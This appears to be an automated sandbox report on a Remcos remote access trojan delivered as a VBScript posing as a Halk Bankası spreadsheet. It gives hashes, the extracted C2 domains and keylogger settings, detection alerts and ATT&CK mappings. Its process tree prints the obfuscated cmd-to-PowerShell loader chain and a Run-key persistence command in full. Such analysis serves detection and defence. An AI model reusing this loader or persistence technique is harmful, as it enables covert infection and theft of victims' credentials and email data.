remcos | e9f1757d4dd8919c701d9e90a971c23e04f87d53560f0d89c81b79d0016f2e6f

Analysis

max time kernel
149s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
07/10/2026, 18:00

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
HALK BANKASI-Xls.vbs
Size 1.2MB
Sample261007-wllcksdx3k
SHA256 e9f1757d4dd8919c701d9e90a971c23e04f87d53560f0d89c81b79d0016f2e6f
MD5 f4dce608fa787ea68cb576b44621213f
SHA1 4fbf27be4bf6c622241f6515be3f6f4c129b79f1
SHA512 b038a5210d193c46b17a0640aeba829b2f5de6a25e0c92f3aa23786240f762ab85bb5b109da2c499be8e85cf65173f132af1e29dadf2ca03cf691a6146ae7549
SSDEEP 24576:MFSuBK3opBpplKck5yzLEj6GP3cwLYksBgjDu7FfyohH1lU0wXRM3Nk9:MvK3o1plN9LI6BwsviOrDoyU
TLSH
T1E24522AD6C238BFC4BEA9306A1112C5A8A790DD43C1F559645E6EDC216EFF0A4CDFC84
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

remotehost collection defense_evasion execution remcos persistence privilege_escalation rat suricata

Malware Config

Extracted

Family

remcos

Version

7.3.1 Pro

Botnet

RemoteHost

www.albader-group.cam:2404
www.albader-groupbackup.cam:2404
www.albader-groupbackup1.cam:2404
www.edibeckconsult.cam:2404

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
folder
mouse_option
false
mutex
Rmc-Q468EF
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Suricata alert: REMCOS RAT Malware Inbound C2 Communication 7 IoCs

Network activity triggered a Suricata alert

suricata remcos

flow	pid	Process
32	1584	choice.exe
32	1584	choice.exe
32	1584	choice.exe
32	1584	choice.exe
32	1584	choice.exe
32	1584	choice.exe
32	1584	choice.exe

Suricata alert: REMCOS RAT Malware Outbound C2 Communication 9 IoCs

Network activity triggered a Suricata alert

suricata remcos

flow	pid	Process
32	1584	choice.exe
32	1584	choice.exe
32	1584	choice.exe
32	1584	choice.exe
32	1584	choice.exe
32	1584	choice.exe
32	1584	choice.exe
33	1584	choice.exe
33	1584	choice.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Control Panel\International\Geo\Nation	WScript.exe

Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	choice.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	choice.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShellPrefetch_AGVA = "C:\\Windows\\System32\\conhost.exe --headless -- C:\\Windows\\System32\\cmd.exe /c call \"C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Windows\\Caches\\audio_ep\\audio_ep_INXIWNCGh.cmd\""	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
4664	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4000	powershell.exe
1380	powershell.exe
3368	powershell.exe
4736	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4484	cmd.exe
1256	cmd.exe

Suspicious behavior: EnumeratesProcesses 20 IoCs

pid	Process
4736	powershell.exe
4736	powershell.exe
4000	powershell.exe
1380	powershell.exe
4000	powershell.exe
1380	powershell.exe
3368	powershell.exe
3368	powershell.exe
3368	powershell.exe
3368	powershell.exe
3368	powershell.exe
3368	powershell.exe
3368	powershell.exe
3368	powershell.exe
3368	powershell.exe
3368	powershell.exe
3368	powershell.exe
3368	powershell.exe
3368	powershell.exe
3368	powershell.exe

Suspicious behavior: MapViewOfSection 1 TTPs 2 IoCs

defense_evasion privilege_escalation

Process Injection

T1055

pid	Process
3368	powershell.exe
3368	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4736	powershell.exe
Token: SeDebugPrivilege	4000	powershell.exe
Token: SeDebugPrivilege	1380	powershell.exe
Token: SeDebugPrivilege	3368	powershell.exe
Token: SeIncreaseQuotaPrivilege	3368	powershell.exe
Token: SeSecurityPrivilege	3368	powershell.exe
Token: SeTakeOwnershipPrivilege	3368	powershell.exe
Token: SeLoadDriverPrivilege	3368	powershell.exe
Token: SeSystemProfilePrivilege	3368	powershell.exe
Token: SeSystemtimePrivilege	3368	powershell.exe
Token: SeProfSingleProcessPrivilege	3368	powershell.exe
Token: SeIncBasePriorityPrivilege	3368	powershell.exe
Token: SeCreatePagefilePrivilege	3368	powershell.exe
Token: SeBackupPrivilege	3368	powershell.exe
Token: SeRestorePrivilege	3368	powershell.exe
Token: SeShutdownPrivilege	3368	powershell.exe
Token: SeDebugPrivilege	3368	powershell.exe
Token: SeSystemEnvironmentPrivilege	3368	powershell.exe
Token: SeRemoteShutdownPrivilege	3368	powershell.exe
Token: SeUndockPrivilege	3368	powershell.exe
Token: SeManageVolumePrivilege	3368	powershell.exe
Token: 33	3368	powershell.exe
Token: 34	3368	powershell.exe
Token: 35	3368	powershell.exe
Token: 36	3368	powershell.exe
Token: SeIncreaseQuotaPrivilege	3368	powershell.exe
Token: SeSecurityPrivilege	3368	powershell.exe
Token: SeTakeOwnershipPrivilege	3368	powershell.exe
Token: SeLoadDriverPrivilege	3368	powershell.exe
Token: SeSystemProfilePrivilege	3368	powershell.exe
Token: SeSystemtimePrivilege	3368	powershell.exe
Token: SeProfSingleProcessPrivilege	3368	powershell.exe
Token: SeIncBasePriorityPrivilege	3368	powershell.exe
Token: SeCreatePagefilePrivilege	3368	powershell.exe
Token: SeBackupPrivilege	3368	powershell.exe
Token: SeRestorePrivilege	3368	powershell.exe
Token: SeShutdownPrivilege	3368	powershell.exe
Token: SeDebugPrivilege	3368	powershell.exe
Token: SeSystemEnvironmentPrivilege	3368	powershell.exe
Token: SeRemoteShutdownPrivilege	3368	powershell.exe
Token: SeUndockPrivilege	3368	powershell.exe
Token: SeManageVolumePrivilege	3368	powershell.exe
Token: 33	3368	powershell.exe
Token: 34	3368	powershell.exe
Token: 35	3368	powershell.exe
Token: 36	3368	powershell.exe
Token: SeIncreaseQuotaPrivilege	3368	powershell.exe
Token: SeSecurityPrivilege	3368	powershell.exe
Token: SeTakeOwnershipPrivilege	3368	powershell.exe
Token: SeLoadDriverPrivilege	3368	powershell.exe
Token: SeSystemProfilePrivilege	3368	powershell.exe
Token: SeSystemtimePrivilege	3368	powershell.exe
Token: SeProfSingleProcessPrivilege	3368	powershell.exe
Token: SeIncBasePriorityPrivilege	3368	powershell.exe
Token: SeCreatePagefilePrivilege	3368	powershell.exe
Token: SeBackupPrivilege	3368	powershell.exe
Token: SeRestorePrivilege	3368	powershell.exe
Token: SeShutdownPrivilege	3368	powershell.exe
Token: SeDebugPrivilege	3368	powershell.exe
Token: SeSystemEnvironmentPrivilege	3368	powershell.exe
Token: SeRemoteShutdownPrivilege	3368	powershell.exe
Token: SeUndockPrivilege	3368	powershell.exe
Token: SeManageVolumePrivilege	3368	powershell.exe
Token: 33	3368	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4664 wrote to memory of 4484	4664	WScript.exe	86
PID 4484 wrote to memory of 4736	4484	cmd.exe	88
PID 4664 wrote to memory of 1256	4664	WScript.exe	89
PID 1256 wrote to memory of 4000	1256	cmd.exe	91
PID 1256 wrote to memory of 1380	1256	cmd.exe	92
PID 1380 wrote to memory of 3368	1380	powershell.exe	93
PID 3368 wrote to memory of 1584	3368	powershell.exe	109

outlook_office_path 1 IoCs

description	ioc	Process
Key enumerated	\REGISTRY\USER\S-1-5-21-524788801-3318743092-4051225893-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	choice.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\HALK BANKASI-Xls.vbs"
1⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:4664
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /v:on /c set "M001=$p=["&& set "M002=char"&& set "M003=]39+"&& set "M004=[cha"&& set "M005=r]32"&& set "M006=+$ar"&& set "M007=gs[0"&& set "M008=];$r"&& set "M009==$en"&& set "M010=v:PI"&& set "M011=BRVK"&& set "M012=N;$f"&& set "M013==$ar"&& set "M014=gs[1"&& set "M015=];$s"&& set "M016==$ar"&& set "M017=gs[2"&& set "M018=];$r"&& set "M019=l=$a"&& set "M020=rgs["&& set "M021=3]+$"&& set "M022=args"&& set "M023=[4]+"&& set "M024=$arg"&& set "M025=s[5]"&& set "M026=;$wl"&& set "M027==$ar"&& set "M028=gs[6"&& set "M029=]+$a"&& set "M030=rgs["&& set "M031=4]+$"&& set "M032=args"&& set "M033=[5];"&& set "M034=$tf="&& set "M035=$arg"&& set "M036=s[7]"&& set "M037=+$ar"&& set "M038=gs[8"&& set "M039=]+$a"&& set "M040=rgs["&& set "M041=9];$"&& set "M042=t=0;"&& set "M043=whil"&& set "M044=e($t"&& set "M045=-lt8"&& set "M046=){$t"&& set "M047=++;$"&& set "M048=a=$n"&& set "M049=ull;"&& set "M050=try{"&& set "M051=$ty="&& set "M052=[typ"&& set "M053=e]$t"&& set "M054=f;$r"&& set "M055=aw=$"&& set "M056=ty::"&& set "M057=$rl("&& set "M058=$r);"&& set "M059=$a=@"&& set "M060=();f"&& set "M061=or($"&& set "M062=n=0;"&& set "M063=$n-l"&& set "M064=t@($"&& set "M065=raw)"&& set "M066=.Len"&& set "M067=gth;"&& set "M068=$n++"&& set "M069=){$l"&& set "M070==@($"&& set "M071=raw)"&& set "M072=[$n]"&& set "M073=;$i="&& set "M074=$l.I"&& set "M075=ndex"&& set "M076=Of($"&& set "M077=p);i"&& set "M078=f($i"&& set "M079=-ge "&& set "M080=0){$"&& set "M081=a+=$"&& set "M082=l.Su"&& set "M083=bstr"&& set "M084=ing("&& set "M085=$i+$"&& set "M086=p.Le"&& set "M087=ngth"&& set "M088=)-sp"&& set "M089=lit$"&& set "M090=s}}}"&& set "M091=catc"&& set "M092=h{};"&& set "M093=if($"&& set "M094=a){$"&& set "M095=ty::"&& set "M096=$wl("&& set "M097=$f,["&& set "M098=stri"&& set "M099=ng[]"&& set "M100=]$a)"&& set "M101=;bre"&& set "M102=ak};"&& set "M103=$n=0"&& set "M104=;whi"&& set "M105=le($"&& set "M106=n-lt"&& set "M107=5000"&& set "M108=00){"&& set "M109=$n++"&& set "M110=}}"&& set "PIBRVKN=C:\Users\Admin\AppData\Local\Temp\HALK BANKASI-Xls.vbs"&& set "CHCN=!M001!!M002!!M003!!M004!!M005!!M006!!M007!!M008!!M009!!M010!!M011!!M012!!M013!!M014!!M015!!M016!!M017!!M018!!M019!!M020!!M021!!M022!!M023!!M024!!M025!!M026!!M027!!M028!!M029!!M030!!M031!!M032!!M033!!M034!!M035!!M036!!M037!!M038!!M039!!M040!!M041!!M042!!M043!!M044!!M045!!M046!!M047!!M048!!M049!!M050!!M051!!M052!!M053!!M054!!M055!!M056!!M057!!M058!!M059!!M060!!M061!!M062!!M063!!M064!!M065!!M066!!M067!!M068!!M069!!M070!!M071!!M072!!M073!!M074!!M075!!M076!!M077!!M078!!M079!!M080!!M081!!M082!!M083!!M084!!M085!!M086!!M087!!M088!!M089!!M090!!M091!!M092!!M093!!M094!!M095!!M096!!M097!!M098!!M099!!M100!!M101!!M102!!M103!!M104!!M105!!M106!!M107!!M108!!M109!!M110!"&& "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:CHCN))" "HJSNFFVTP" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\684376843754.cmd" "VUAMJMMU" "Read" "All" "Lines" "Write" "System" ".IO." "File"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4484
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:CHCN))" "HJSNFFVTP" "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\684376843754.cmd" "VUAMJMMU" "Read" "All" "Lines" "Write" "System" ".IO." "File"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4736
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\684376843754.cmd"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1256
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:HSUAWTGFL))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:HSUAWTGFL))"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1380
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "&($executioncontext.InvokeCommand.NewScriptBlock([string]$env:HSUAWTGFL))"
      4⤵
      Adds Run key to start application
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3368
    - - C:\Windows\system32\choice.exe
        
        "C:\Windows\system32\choice.exe"
        5⤵
        Suricata alert: REMCOS RAT Malware Inbound C2 Communication
        Suricata alert: REMCOS RAT Malware Outbound C2 Communication
        Accesses Microsoft Outlook profiles
        outlook_office_path
        
        PID:1584

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Process Injection

T1055

Defense Evasion

Modify Registry

T1112

Process Injection

T1055

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\folder\logs.dat
Size 180B
SHA256 115b6facfb9d6715fd6afd8685469bfdca67d931116f404ce39de1fd0e4a714d
MD5 d2b8eb1232f46968144a6e0e6ecf1f95
SHA1 6a71fcf22fc7ded6d946ad695f3bf1ec30a96291
SHA512 f236030d2910d56425c8f89051e7a3ff2e6d9094e1629b77c8a80dea562e4f92c9ca390b38b759a2f493f18dab73080987f25982b84f24017e00af82b3e97395
TLSH
T1F6C08C2333F22008F9F5A29BE8F305222A30BC286438C84C22A0430D0CF0A0490903AB
MD5 SHA1 SHA512 TLSH

Submit Download

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account.tmp
Size 40KB
SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
MD5 ba979c77c714b67908bc582ec373c723
SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
TLSH
T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

684376843754.cmd

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Caches\684376843754.cmd
Size 1.2MB
SHA256 03df854ad00273b4aa1d04d1069db5d5097ab38bea6e3fbdc644915d485c3086
MD5 739a3c202f56b6129b490a057f0ad255
SHA1 3f2ab7e86344e61ed501ad5cdedc027164081c3a
SHA512 5821274af004bc1e637567e18a98efe5e7e2c5ab5b3f1564b9b0cddf519a443694f467c91b21bcc249896189986e3864c41e2618edd4cf6610e67e8aae2242bf
SSDEEP 24576:GttuiRu4niwsJn3R+QcmXjOLWWqFSIYMBNHDO7QCF7sH0E47TJzpZNoM:G3Ru4LsJ3wmTOEFDrT6vfFFj
TLSH
T1A54523ADBC539BFC4BF9A30AA1113D565F754ED83E1F86C845E8E5C216EBB058C0AC84
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 948B
SHA256 f2a8c1e183dc3f91b42357cc5800e2c75672f64d24e5051aaaec22a01d10a0fc
MD5 0e9e500b2479e9ad23c2bc3c36689ced
SHA1 fa29a916478951f0fa6ae3fe6b4390fd17d6c736
SHA512 ee564768412e3bd5e56a625d1a29543b2a2abf53a62c90644e9f5fc5db6b9680ef80b051ce2dda3bffbfac501d84741c855824de046ac55b4878f75b47532db8
TLSH
T17C112223F38D8920CC96563A509DAC5172B686CB91AFDF9F7FC0D210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_3s2ivttk.a30.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3s2ivttk.a30.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

handoff_dbg_3368_e58eeef.txt

Path C:\Users\Admin\AppData\Local\Temp\handoff_dbg_3368_e58eeef.txt
Size 612B
SHA256 50430259791fc57f7fb3d3922c9762ae9fd26f346df37db2cba72f56edc2121d
MD5 509f775f3b74fd72275127b13747c78b
SHA1 f6e87ec26f75bff7572bb9ccb26f5ffaf632be6f
SHA512 cd56e59dca6962c967be3d825c3134f28781c3aedd93084792651c7551b7933811811eb05089846372a7a9adb02b7254a389448bf101ae601d4a72f19aa3aaa8
TLSH
T1BFF0F27C88DA4CCFFCC16419FA17B9A976A4B142BBD6D81F77EC526430898725B08570
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1584-44-0x000002094E920000-0x000002094E960000-memory.dmp

Download

memory/1584-101-0x0000020950CD0000-0x0000020950DFC000-memory.dmp

Download

memory/1584-45-0x000002094E920000-0x000002094E960000-memory.dmp

Download

memory/1584-48-0x0000000180000000-0x0000000180040000-memory.dmp

Download

memory/1584-67-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/1584-80-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/1584-93-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/1584-90-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/1584-65-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/1584-60-0x000002094E920000-0x000002094E960000-memory.dmp

Download

memory/1584-159-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/1584-94-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/1584-96-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/1584-95-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/1584-97-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/1584-158-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/1584-102-0x0000020950CD0000-0x0000020950DFC000-memory.dmp

Download

memory/1584-98-0x0000020950CD0000-0x0000020950DFC000-memory.dmp

Download

memory/1584-148-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/1584-109-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/1584-112-0x00007FF6FA6C0000-0x00007FF6FA6CD000-memory.dmp

Download

memory/1584-147-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/1584-125-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/1584-126-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/1584-136-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/1584-137-0x0000000140000000-0x00000001400B0000-memory.dmp

Download

memory/4736-1-0x0000016ADDD70000-0x0000016ADDD80000-memory.dmp

Download

memory/4736-2-0x0000016ADE1E0000-0x0000016ADE202000-memory.dmp

Download

memory/4736-0-0x0000016ADDD70000-0x0000016ADDD80000-memory.dmp

Download

memory/4736-10-0x0000016ADDD70000-0x0000016ADDD80000-memory.dmp

Download